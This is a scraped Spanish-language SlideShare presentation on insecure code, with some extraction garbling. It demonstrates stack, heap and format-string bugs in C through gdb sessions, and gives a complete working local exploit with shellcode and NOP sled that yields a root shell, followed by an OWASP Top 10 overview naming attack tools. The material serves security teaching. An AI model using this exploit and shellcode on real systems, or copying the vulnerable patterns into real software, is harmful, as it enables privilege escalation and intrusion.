SlideShare a Scribd company logo
1 of 65
¡Ups! Código inseguro. Carlos A. Lozano Vargas
“Los hackers siempreentran por la víamásfacíl”
“Los script kiddies siempreentran por la víamásfacíl…  los hackers pasanhorasfuzzeando, debuggeando, desensamblando yexplotando”
Vulnerabilidadesreportadas a la  National Vulnerability Database de EU
Evolución: Del stack buffer overflow a la SQL Injection
Stack buffer overflows
La pila (stack) Memoriaalta:  0xfffffff0 EBP ESP Memoriabaja:  0x11111111
push %ebp mov %esp, %ebp sub $0x190, %esp pushl 0xc(%ebp) Prólogo de función add $0xc, %esp leave ret Epílogo de función mov 0xc($ebp), %eax add $0x08, %eax pushl (%eax) mov 0xc(%ebp), %eax add $0x04, %eax pushl (%eax) call 0x804835c <funcion_name> Llamada a función
Desbordamiento de un buffer 10 bytes 0x41414141 main(){     chart str[10]; strcpy(str, “AAAAAAAAAAAAAAAA”); } Antes Después
Autenticación vulnerable a BOF #include <stdio.h>#include <stdlib.h>#include <string.h>int check_authentification(char *password){int auth_flag=0;char password_buffer[16];strcpy(password_buffer, password);if(strcmp(password_buffer, "brilling")==0){auth_flag=1;}if(strcmp(password_buffer, "outgrabe")==0){auth_flag=1;}return auth_flag;}int main(int argc, char *argv[]){if(argc<2){printf("Usage: %s <password>", argv[0]);exit(0);} if(check_authentification(argv[1])){printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-");printf("Acces granted");printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-");}else{printf("Access denied");}}
Explotación $ ./auth_overflowUsage: ./auth_overflow <password>$ ./auth_overflow brilling-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Acces granted-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-$ ./auth_overflow outgrabe-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Acces granted-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-$ ./auth_overflow testAccess denied$ ./auth_overflow AAAAAAAAAAAAAAAAAAAAAAA-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Acces granted-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Segmentation fault
Explicación (1) $ gdb -q ./auth_overflow(gdb) list 11       #include <stdio.h>2       #include <stdlib.h>3       #include <string.h>45       int check_authentification(char *password){6               int auth_flag=0;7               char password_buffer[16];89               strcpy(password_buffer, password);10(gdb)11              if(strcmp(password_buffer, "brilling")==0){12                      auth_flag=1;13              }14              if(strcmp(password_buffer, "outgrabe")==0){15                      auth_flag=1;16              }1718              return auth_flag;19      }20
Explicación (2) 21      int main(int argc, char *argv[]){22              if(argc<2){23                      printf("Usage: %s <password>", argv[0]);24                      exit(0);25              }2627              if(check_authentification(argv[1])){28                      printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-");29                      printf("Acces granted");30                      print 31              }32              else{33                      printf("Access denied");34              }35      }
Explicación (3) (gdb)Line number 36 out of range; auth_overflow.c has 35 lines.(gdb) break 9Breakpoint 1 at 0x8048431: file auth_overflow.c, line 9.(gdb) break 18Breakpoint 2 at 0x8048481: file auth_overflow.c, line 18.(gdb) run AAAAAAAAAAAAAAAAAStarting program: /home/vendetta/Code/Art_of_Explotation/auth_overflow AAAAAAAAAAAAAAAAA Breakpoint 1, check_authentification (password=0xbfd8d4d0 'A' <repeats 17 times>) at auth_overflow.c:99               strcpy(password_buffer, password);(gdb) x/s password_buffer0xbfd8cfe4:      "t2704<F8><CF><U+063F><FD>0204<F4><FF><FB><B7>"(gdb) x/x auth_flag0x0:    Cannot access memory at address 0x0(gdb) x/x &auth_flag0xbfd8cff4:     0x00000000(gdb) printf 0xbfd8cff4 - 0xbfd8cfe4Bad format string, missing '"'.(gdb) print 0xbfd8cff4 - 0xbfd8cfe4$1 = 16
Explicación (4) (gdb) x/16xw password_buffer0xbfd8cfe4:     0x08049774      0xbfd8cff8      0x080482fd      0xb7fbfff40xbfd8cff4:     0x00000000      0xbfd8d018      0x080484d9      0xbfd8d4d00xbfd8d004:     0xbfd8d0c0      0xb7fc0c80      0xb7fbfff4      0xbfd8d0300xbfd8d014:     0xbfd8d030      0xbfd8d088      0xb7e8e390      0xb7ffece0 (gdb) continueContinuing.Breakpoint 2, check_authentification (password=0xbfd8d4d0 'A' <repeats 17 times>) at auth_overflow.c:1818              return auth_flag;(gdb) x/s password_buffer0xbfd8cfe4:      'A' <repeats 17 times>(gdb) x/x &auth_flag0xbfd8cff4:     0x00000041(gdb) x/16xw password_buffer0xbfd8cfe4:     0x41414141      0x41414141      0x41414141      0x414141410xbfd8cff4:     0x00000041      0xbfd8d018      0x080484d9      0xbfd8d4d00xbfd8d004:     0xbfd8d0c0      0xb7fc0c80      0xb7fbfff4      0xbfd8d0300xbfd8d014:     0xbfd8d030      0xbfd8d088      0xb7e8e390      0xb7ffece0 (gdb) x/4cb &auth_flag0xbfd8cff4:     65 'A'  0 ''  0 ''  0 ''
Explicación (4) (gdb) x/dw &auth_flag0xbfd8cff4:     65(gdb)0xbfd8cff8:     -1076309992(gdb)0xbfd8cffc:     134513881(gdb) continueContinuing.-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Acces granted-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Program exited with code 046.(gdb)The program is not being run.(gdb) quit
Heap overflows
Heap Espacio libre Espacio ocupado Wilderness
Código vulnerable a HOF #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #define BUFSIZE 10 #define OVERSIZE 5 intmain(){ u_longdiff; char *buf1=(char *)malloc(BUFSIZE); char *buf2=(char *)malloc(BUFSIZE); diff=(u_long)buf2-(u_long)buf1; printf(“diff=%dbytes”, diff); strcat(buf2, “AAAAAAAAAA”); printf(“buf2 antes del overflow = %s”, buf2); memset(buf1, ‘B’, (u_int)(diff+OVERSIZE); printf(“buf2 despues del overflow = %s”, buf2); return 0; }
Explotación # ./heap1 Diff = 16 bytes buf2 antes del overflow = AAAAAAAAAA buf2 despues del overflow = BBBBBAAAAA
Format string bugs
Código vulnerable a format string bugs #include <stdio.h> #include <stdlib.h> #include <string.h> intmain(intargc, char *argv[]) { chartext[1024]; staticinttest_val = -72; if(argc < 2) { printf("Usage: %s <texttoprint>", argv[0]); exit(0);    } strcpy(text, argv[1]); printf("Therightwaytoprintuser-controlledinput:"); printf("%s", text); printf("Thewrongwaytoprintuser-controlledinput:"); printf(text); printf("");    // Debug output printf("[*] test_val @ 0x%08x = %d 0x%08x", &test_val, test_val, test_val); exit(0); }
Explotación vendetta@pwned:~/code $ ./fmt_vulnhoooooooooola Therightwaytoprintuser-controlledinput: hoooooooooola Thewrongwaytoprintuser-controlledinput: hoooooooooola [*] test_val @ 0x08049794 = -72 0xffffffb8 vendetta@pwned:~/code $ ./fmt_vuln %s Therightwaytoprintuser-controlledinput: %s Thewrongwaytoprintuser-controlledinput: %s [*] test_val @ 0x08049794 = -72 0xffffffb8 vendetta@pwned:~/code $ ./fmt_vuln &x [1] 8815 Usage: ./fmt_vuln <texttoprint> bash: x: orden no encontrada [1]+  Done                    ./fmt_vuln vendetta@pwned:~/code $ ./fmt_vuln &HOME [1] 8828 Usage: ./fmt_vuln <texttoprint> bash: HOME: orden no encontrada [1]+  Done                    ./fmt_vuln
Aprovechamiento de vulnerabilidades
Códigoparaescribiruna nota (1) #include <stdio.h>#include <stdlib.h>#include <string.h>#include <fcntl.h>#include <sys/stat.h>#include "functions.h"void usage(char *prog_name, char *filename) {printf("Usage: %s <data to add to %s>", prog_name, filename);exit(0);}void fatal(char *);void *ec_malloc(unsigned int);int main(int argc, char *argv[]) {int userid, fd; // file descriptorchar *buffer, *datafile; buffer = (char *) ec_malloc(100);datafile = (char *) ec_malloc(20);strcpy(datafile, "/var/notes");
Códigoparaescribiruna nota (2) if(argc < 2) usage(argv[0], datafile);strcpy(buffer, argv[1]);printf("[DEBUG] buffer @ %p: apos;%sapos;", buffer, buffer);printf("[DEBUG] datafile @ %p: apos;%sapos;", datafile, datafile);fd = open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);if(fd == -1)fatal("in main() while opening file");printf("[DEBUG] file descriptor is %d", fd);userid = getuid();if(write(fd, &userid, 4) == -1)fatal("in main() while writing userid to file");write(fd, "", 1); if(write(fd, buffer, strlen(buffer)) == -1)fatal("in main() while writing buffer to file");write(fd, "", 1);
Códigoparaescribiruna nota (3) if(close(fd) == -1)fatal("in main() while closing file");printf("Note has been saved.");free(buffer);free(datafile);}
Códigoparabuscaruna nota (1) #include <stdio.h>#include <string.h>#include <fcntl.h>#include <sys/stat.h>#include "functions.h"#define FILENAME "/var/notes"int print_notes(int, int, char *); int find_user_note(int, int); int search_note(char *, char *);void fatal(char *); int main(int argc, char *argv[]) {int userid, printing=1, fd;char searchstring[100]; if(argc > 1) strcpy(searchstring, argv[1]);else searchstring[0] = 0;
Códigoparabuscaruna nota (2) while(printing)printing = print_notes(fd, userid, searchstring);printf("-------[ end of note data ]-------");close(fd);}int print_notes(int fd, int uid, char *searchstring) {int note_length;char byte=0, note_buffer[100];note_length = find_user_note(fd, uid);if(note_length == -1)return 0; read(fd, note_buffer, note_length);note_buffer[note_length] = 0; if(search_note(note_buffer, searchstring))printf(note_buffer); return 1;}
Códigoparabuscaruna nota (3) int find_user_note(int fd, int user_uid) {int note_uid=-1;unsigned char byte;int length;while(note_uid != user_uid) {if(read(fd, &note_uid, 4) != 4)return -1;if(read(fd, &byte, 1) != 1)return -1;byte = length = 0;while(byte != '') { if(read(fd, &byte, 1) != 1)return -1; length++; }}lseek(fd, length * -1, SEEK_CUR); printf("[DEBUG] found a %d byte note for user id %d", length, note_uid);return length;}
Códigoparabuscaruna nota (4) int search_note(char *note, char *keyword) {int i, keyword_length, match=0;keyword_length = strlen(keyword);if(keyword_length == 0)return 1; for(i=0; i < strlen(note); i++) {if(note[i] == keyword[match])match++; else { if(note[i] == keyword[0])match = 1; elsematch = 0; }if(match == keyword_length)return 1;}return 0;}
Exploit (1) #include <stdio.h>#include <stdlib.h>#include <string.h>char shellcode[]="31c031db31c999b0a4cd806a0b585168""2f2f7368682f62696e89e35189e25389""e1cd80";int main(int argc, char *argv[]) {unsigned int i, *ptr, ret, offset=270;char *command, *buffer;command = (char *) malloc(200);bzero(command, 200);strcpy(command, "./notesearch apos;");buffer = command + strlen(command);if(argc > 1)offset = atoi(argv[1]);ret = (unsigned int) &i - offset;
Exploit (2) for(i=0; i < 160; i+=4)*((unsigned int *)(buffer+i)) = ret;memset(buffer, 0x90, 60);memcpy(buffer+60, shellcode, sizeof(shellcode)-1);strcat(command, "apos;");system(command);free(command);}
Explicación (1) vendetta@pwned:/home/vendetta/booksrc $ gdb -q exploit_notesearchUsing host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".(gdb) list1       #include <stdio.h>2       #include <stdlib.h>3       #include <string.h>4       char shellcode[]=5       "31c031db31c999b0a4cd806a0b585168"6       "2f2f7368682f62696e89e35189e25389"7       "e1cd80";89       int main(int argc, char *argv[]) {10         unsigned int i, *ptr, ret, offset=270; 11         char *command, *buffer;1213         command = (char *) malloc(200);14         bzero(command, 200); // zero out the new memory1516         strcpy(command, "./notesearch apos;"); // start command buffer17         buffer = command + strlen(command); // set buffer at the end1819         if(argc > 1) // set offset20            offset = atoi(argv[1]);
Explicación (2) 2122         ret = (unsigned int) &i - offset; // set return address2324         for(i=0; i < 160; i+=4) // fill buffer with return address25            *((unsigned int *)(buffer+i)) = ret;26         memset(buffer, 0x90, 60); // build NOP sled27         memcpy(buffer+60, shellcode, sizeof(shellcode)-1);2829         strcat(command, "apos;");30         system(command); // run exploit 31         free(command);32      }33(gdb) break 26Breakpoint 1 at 0x80485fa: file exploit_notesearch.c, line 26.(gdb) break 27Breakpoint 2 at 0x8048615: file exploit_notesearch.c, line 27.(gdb) break 28Breakpoint 3 at 0x8048633: file exploit_notesearch.c, line 28.(gdb) runStarting program: /home/vendetta/booksrc/exploit_notesearch Breakpoint 1, main (argc=1, argv=0xbffff824) at exploit_notesearch.c:2626         memset(buffer, 0x90, 60); // build NOP sled(gdb) x/x40 bufferA syntax error in expression, near `buffer'.
Explicación (3) (gdb) x/40x buffer0x804a016:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a026:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a036:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a046:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a056:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a066:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a076:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a086:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a096:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a0a6:      0xbffff686      0xbffff686      0xbffff686      0xbffff686 (gdb) x/s command0x804a008:       "./notesearch '06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���"(gdb) cont Continuing.Breakpoint 2, main (argc=1, argv=0xbffff824) at exploit_notesearch.c:2727         memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
Explicación (4) (gdb) x/40x buffer0x804a016:      0x90909090      0x90909090      0x90909090      0x909090900x804a026:      0x90909090      0x90909090      0x90909090      0x909090900x804a036:      0x90909090      0x90909090      0x90909090      0x909090900x804a046:      0x90909090      0x90909090      0x90909090      0xbffff6860x804a056:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a066:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a076:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a086:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a096:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a0a6:      0xbffff686      0xbffff686      0xbffff686      0xbffff686(gdb) x/s command0x804a008:       "./notesearch '", '20' <repeats 60 times>, "06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���"(gdb) contContinuing. Breakpoint 3, main (argc=1, argv=0xbffff824) at exploit_notesearch.c:2929         strcat(command, "apos;");
Explicación (5) (gdb) x/40x buffer0x804a016:      0x90909090      0x90909090      0x90909090      0x909090900x804a026:      0x90909090      0x90909090      0x90909090      0x909090900x804a036:      0x90909090      0x90909090      0x90909090      0x909090900x804a046:      0x90909090      0x90909090      0x90909090      0xdb31c0310x804a056:      0xb099c931      0x6a80cda4      0x6851580b      0x68732f2f0x804a066:      0x69622f68      0x51e3896e      0x8953e289      0xbf80cde10x804a076:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a086:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a096:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a0a6:      0xbffff686      0xbffff686      0xbffff686      0xbffff686(gdb) x/s command0x804a008:       "./notesearch '", '20' <repeats 60 times>, "1�1�1�31���00jXQh//shh/bin11�Q11�S11��00�06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���06���"(gdb) cont Continuing.-------[ end of note data ]-------Program exited normally.(gdb) qvendetta@pwned:/home/vendetta/booksrc $ ./exploit_notesearch-------[ end of note data ]-------sh-3.2#
Vulnerabilidades en aplicaciones Web
OWASP top 10 ,[object Object]
 XSS
Fallos de autenticaciónymanejo de sesioneserróneo
Referenciasdirectas a objetos
 CSRF
Errores de configuración
Almacenamientoinseguro
Fallos en la restricción de recursos
Proteccióninsuficiente en la capa de transporte
Redireccionesyreenviosinválidos,[object Object]
Inyecciones de código Herramientas: Pangolin SQL ninja SQL Map SQL Inject Me
Inyecciones de código
Cross Site Scripting (XSS) Vulnerabilidad: Cross Site Scripting Descripción: Inyección de códigopobrementeescapadoquepermiteingresarunasentenciadirectamente en el campo URL del navegadorparamodificar la apariencia del sitio Web. Causa: Errores de validación de campos. Consecuencias: Ingeniería social, robo de identidad, phishing Soluciones: Validación de entradas.
Cross Site Scripting (XSS) Herramientas: Acunetix N-Stalker W3af XSS Me
Cross Site Scripting (XSS)
Salto de autenticaciónyerroneomanejo de sesiones Vulnerabilidad: Salto de autenticaciónyerroneomanejo de sesiones Descripción: Errores en la generación, manejoydestrucciones de sesionesy tickets de transacciones. Causa: Confianza en frameworks yservidores Web. Consecuencias: Ingreso no autorizado, robo de información, robo de identidad. Soluciones: Uso de sesionesy tickets dinamicos, establecimiento de time-outs, destrucción de sesiones.
Salto de autenticaciónyerroneomanejo de sesiones Herramientas: Paros Proxy Charles Tamper Data
Salto de autenticaciónyerroneomanejo de sesiones
Referenciasinseguras a objetos Vulnerabilidad: Referenciasinseguras a objetos Descripción: Referencia a un objetointernocomo un archivo, directorio, base de datos.. Causa: Manipulación de recursos no autorizada. Consecuencias: Acceso a recursos no autorizados. Soluciones: Control de accesos a recursos.
Cross Site Request Forgery Vulnerabilidad: Cross Site Request Forgery (CSRF) Descripción: Ataque en el cual se forza el envio de información HTTP de un usuarioautenticadocorrectamente, como la sesióny cookies, con el fin de enviarinformaciónfalsadespueshaciendocreer a la aplicaciónque se es el usuario real. Causa: Transacciones multiples. Consecuencias: Compromiso de la aplicación. Soluciones: Uso de tickets dinamicosparatransacciones.
Errores de configuración
Almacenamientoinsegurode información Vulnerabilidad: Almacenamientoinseguro de información Descripción: Almacenamiento de información sin mecanismos de cifrado. Causa: Malasprácticas de resguardo de información. Consecuencias: Robo de información. Soluciones: Uso de mecanismos de cifrado.
Errores de restricción de URLs Vulnerabilidad: Errores de restricción de URLs Descripción: Acceso no autorizado a recursos de la aplicación Causa: Errores de autorización. Consecuencias: Robo de información, acceso no autorizado. Soluciones: Uso de matrices de autenticación.
Proteccióninsuficienteen la capa de transporte Vulnerabilidad: Proteccióninsuficiente en la capa de transporte Descripción: Informaciónenviada en textoclaroomediantemecanismos de cifradoreversibles Causa: Malasprácticas. Consecuencias: Robo de información, acceso no autorizado. Soluciones: Uso de HTTPS, SSH uotrosmecanismos de cifrado.
Proteccióninsuficienteen la capa de transporte Herramientas: Wireshark Trapper Cain EavesDrop Paros Proxy Charles Proxy Tamper Data
Proteccióninsuficienteen la capa de transporte

More Related Content

Viewers also liked

Viewers also liked (9)

Amenaza a las bases de datos
Amenaza a las bases de datosAmenaza a las bases de datos
Amenaza a las bases de datos
 
Las diez principales amenazas para las bases de datos
Las diez principales amenazas para las bases de datosLas diez principales amenazas para las bases de datos
Las diez principales amenazas para las bases de datos
 
Un futuro distribuido con blockchain
Un futuro distribuido con blockchainUn futuro distribuido con blockchain
Un futuro distribuido con blockchain
 
Somos pocas pero picosas (Mujeres en TI)
Somos pocas pero picosas (Mujeres en TI)Somos pocas pero picosas (Mujeres en TI)
Somos pocas pero picosas (Mujeres en TI)
 
Theres never been a better time
Theres never been a better time Theres never been a better time
Theres never been a better time
 
La evolución del Project Manager en la era ágil
La evolución del Project Manager en la era ágilLa evolución del Project Manager en la era ágil
La evolución del Project Manager en la era ágil
 
IoT, Creando mejores experiencias para los clientes
IoT, Creando mejores experiencias para los clientesIoT, Creando mejores experiencias para los clientes
IoT, Creando mejores experiencias para los clientes
 
Ecommerce en México: Recuento 2016.
Ecommerce en México: Recuento 2016.Ecommerce en México: Recuento 2016.
Ecommerce en México: Recuento 2016.
 
Cómo tramitar la Visa TN (Trade NAFTA) y no morir en el intento
Cómo tramitar la Visa TN (Trade NAFTA) y no morir en el intentoCómo tramitar la Visa TN (Trade NAFTA) y no morir en el intento
Cómo tramitar la Visa TN (Trade NAFTA) y no morir en el intento
 

Similar to ¡Ups! código inseguro: detección, explotación y mitigación de vulnerabilidades en software

Buffer Overflows
Buffer OverflowsBuffer Overflows
Buffer Overflows
Sumit Kumar
 
Unix And C
Unix And CUnix And C
Unix And C
Dr.Ravi
 
Low Level Exploits
Low Level ExploitsLow Level Exploits
Low Level Exploits
hughpearse
 
Unix shell scripting basics
Unix shell scripting basicsUnix shell scripting basics
Unix shell scripting basics
Abhay Sapru
 
Unix Shell Scripting Basics
Unix Shell Scripting BasicsUnix Shell Scripting Basics
Unix Shell Scripting Basics
Dr.Ravi
 
20190521 pwn 101_by_roy
20190521 pwn 101_by_roy20190521 pwn 101_by_roy
20190521 pwn 101_by_roy
Roy
 

Similar to ¡Ups! código inseguro: detección, explotación y mitigación de vulnerabilidades en software (20)

Buffer Overflows
Buffer OverflowsBuffer Overflows
Buffer Overflows
 
Software to the slaughter
Software to the slaughterSoftware to the slaughter
Software to the slaughter
 
CompilersAndLibraries
CompilersAndLibrariesCompilersAndLibraries
CompilersAndLibraries
 
TDOH x 台科 pwn課程
TDOH x 台科 pwn課程TDOH x 台科 pwn課程
TDOH x 台科 pwn課程
 
Initiation concrète-à-la-virtualisation-devoxx-fr-2021
Initiation concrète-à-la-virtualisation-devoxx-fr-2021Initiation concrète-à-la-virtualisation-devoxx-fr-2021
Initiation concrète-à-la-virtualisation-devoxx-fr-2021
 
Hello. I was wondering if I could get some help on this C programmin.pdf
Hello. I was wondering if I could get some help on this C programmin.pdfHello. I was wondering if I could get some help on this C programmin.pdf
Hello. I was wondering if I could get some help on this C programmin.pdf
 
Writing Metasploit Plugins
Writing Metasploit PluginsWriting Metasploit Plugins
Writing Metasploit Plugins
 
Unix And C
Unix And CUnix And C
Unix And C
 
Introduction to Linux Exploit Development
Introduction to Linux Exploit DevelopmentIntroduction to Linux Exploit Development
Introduction to Linux Exploit Development
 
Exakat for PHP : smart code reviewing engine
Exakat for PHP : smart code reviewing engineExakat for PHP : smart code reviewing engine
Exakat for PHP : smart code reviewing engine
 
printf("%s from %c to Z, in %d minutes!\n", "printf", 'A', 45);
printf("%s from %c to Z, in %d minutes!\n", "printf", 'A', 45);printf("%s from %c to Z, in %d minutes!\n", "printf", 'A', 45);
printf("%s from %c to Z, in %d minutes!\n", "printf", 'A', 45);
 
Openframworks x Mobile
Openframworks x MobileOpenframworks x Mobile
Openframworks x Mobile
 
Low Level Exploits
Low Level ExploitsLow Level Exploits
Low Level Exploits
 
Driver Debugging Basics
Driver Debugging BasicsDriver Debugging Basics
Driver Debugging Basics
 
Fuzzing: Finding Your Own Bugs and 0days! 2.0
Fuzzing: Finding Your Own Bugs and 0days! 2.0Fuzzing: Finding Your Own Bugs and 0days! 2.0
Fuzzing: Finding Your Own Bugs and 0days! 2.0
 
stackconf 2021 | Fuzzing: Finding Your Own Bugs and 0days!
stackconf 2021 | Fuzzing: Finding Your Own Bugs and 0days!stackconf 2021 | Fuzzing: Finding Your Own Bugs and 0days!
stackconf 2021 | Fuzzing: Finding Your Own Bugs and 0days!
 
Defcon 22-colby-moore-patrick-wardle-synack-drop cam
Defcon 22-colby-moore-patrick-wardle-synack-drop camDefcon 22-colby-moore-patrick-wardle-synack-drop cam
Defcon 22-colby-moore-patrick-wardle-synack-drop cam
 
Unix shell scripting basics
Unix shell scripting basicsUnix shell scripting basics
Unix shell scripting basics
 
Unix Shell Scripting Basics
Unix Shell Scripting BasicsUnix Shell Scripting Basics
Unix Shell Scripting Basics
 
20190521 pwn 101_by_roy
20190521 pwn 101_by_roy20190521 pwn 101_by_roy
20190521 pwn 101_by_roy
 

More from Software Guru

More from Software Guru (20)

Hola Mundo del Internet de las Cosas
Hola Mundo del Internet de las CosasHola Mundo del Internet de las Cosas
Hola Mundo del Internet de las Cosas
 
Estructuras de datos avanzadas: Casos de uso reales
Estructuras de datos avanzadas: Casos de uso realesEstructuras de datos avanzadas: Casos de uso reales
Estructuras de datos avanzadas: Casos de uso reales
 
Building bias-aware environments
Building bias-aware environmentsBuilding bias-aware environments
Building bias-aware environments
 
El secreto para ser un desarrollador Senior
El secreto para ser un desarrollador SeniorEl secreto para ser un desarrollador Senior
El secreto para ser un desarrollador Senior
 
Cómo encontrar el trabajo remoto ideal
Cómo encontrar el trabajo remoto idealCómo encontrar el trabajo remoto ideal
Cómo encontrar el trabajo remoto ideal
 
Automatizando ideas con Apache Airflow
Automatizando ideas con Apache AirflowAutomatizando ideas con Apache Airflow
Automatizando ideas con Apache Airflow
 
How thick data can improve big data analysis for business:
How thick data can improve big data analysis for business:How thick data can improve big data analysis for business:
How thick data can improve big data analysis for business:
 
Introducción al machine learning
Introducción al machine learningIntroducción al machine learning
Introducción al machine learning
 
Democratizando el uso de CoDi
Democratizando el uso de CoDiDemocratizando el uso de CoDi
Democratizando el uso de CoDi
 
Gestionando la felicidad de los equipos con Management 3.0
Gestionando la felicidad de los equipos con Management 3.0Gestionando la felicidad de los equipos con Management 3.0
Gestionando la felicidad de los equipos con Management 3.0
 
Taller: Creación de Componentes Web re-usables con StencilJS
Taller: Creación de Componentes Web re-usables con StencilJSTaller: Creación de Componentes Web re-usables con StencilJS
Taller: Creación de Componentes Web re-usables con StencilJS
 
El camino del full stack developer (o como hacemos en SERTI para que no solo ...
El camino del full stack developer (o como hacemos en SERTI para que no solo ...El camino del full stack developer (o como hacemos en SERTI para que no solo ...
El camino del full stack developer (o como hacemos en SERTI para que no solo ...
 
¿Qué significa ser un programador en Bitso?
¿Qué significa ser un programador en Bitso?¿Qué significa ser un programador en Bitso?
¿Qué significa ser un programador en Bitso?
 
Colaboración efectiva entre desarrolladores del cliente y tu equipo.
Colaboración efectiva entre desarrolladores del cliente y tu equipo.Colaboración efectiva entre desarrolladores del cliente y tu equipo.
Colaboración efectiva entre desarrolladores del cliente y tu equipo.
 
Pruebas de integración con Docker en Azure DevOps
Pruebas de integración con Docker en Azure DevOpsPruebas de integración con Docker en Azure DevOps
Pruebas de integración con Docker en Azure DevOps
 
Elixir + Elm: Usando lenguajes funcionales en servicios productivos
Elixir + Elm: Usando lenguajes funcionales en servicios productivosElixir + Elm: Usando lenguajes funcionales en servicios productivos
Elixir + Elm: Usando lenguajes funcionales en servicios productivos
 
Así publicamos las apps de Spotify sin stress
Así publicamos las apps de Spotify sin stressAsí publicamos las apps de Spotify sin stress
Así publicamos las apps de Spotify sin stress
 
Achieving Your Goals: 5 Tips to successfully achieve your goals
Achieving Your Goals: 5 Tips to successfully achieve your goalsAchieving Your Goals: 5 Tips to successfully achieve your goals
Achieving Your Goals: 5 Tips to successfully achieve your goals
 
Acciones de comunidades tech en tiempos del Covid19
Acciones de comunidades tech en tiempos del Covid19Acciones de comunidades tech en tiempos del Covid19
Acciones de comunidades tech en tiempos del Covid19
 
De lo operativo a lo estratégico: un modelo de management de diseño
De lo operativo a lo estratégico: un modelo de management de diseñoDe lo operativo a lo estratégico: un modelo de management de diseño
De lo operativo a lo estratégico: un modelo de management de diseño
 

Recently uploaded

Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Safe Software
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
panagenda
 

Recently uploaded (20)

Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
 
AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024
 
A Beginners Guide to Building a RAG App Using Open Source Milvus
A Beginners Guide to Building a RAG App Using Open Source MilvusA Beginners Guide to Building a RAG App Using Open Source Milvus
A Beginners Guide to Building a RAG App Using Open Source Milvus
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptx
 
MS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectorsMS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectors
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CV
 
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
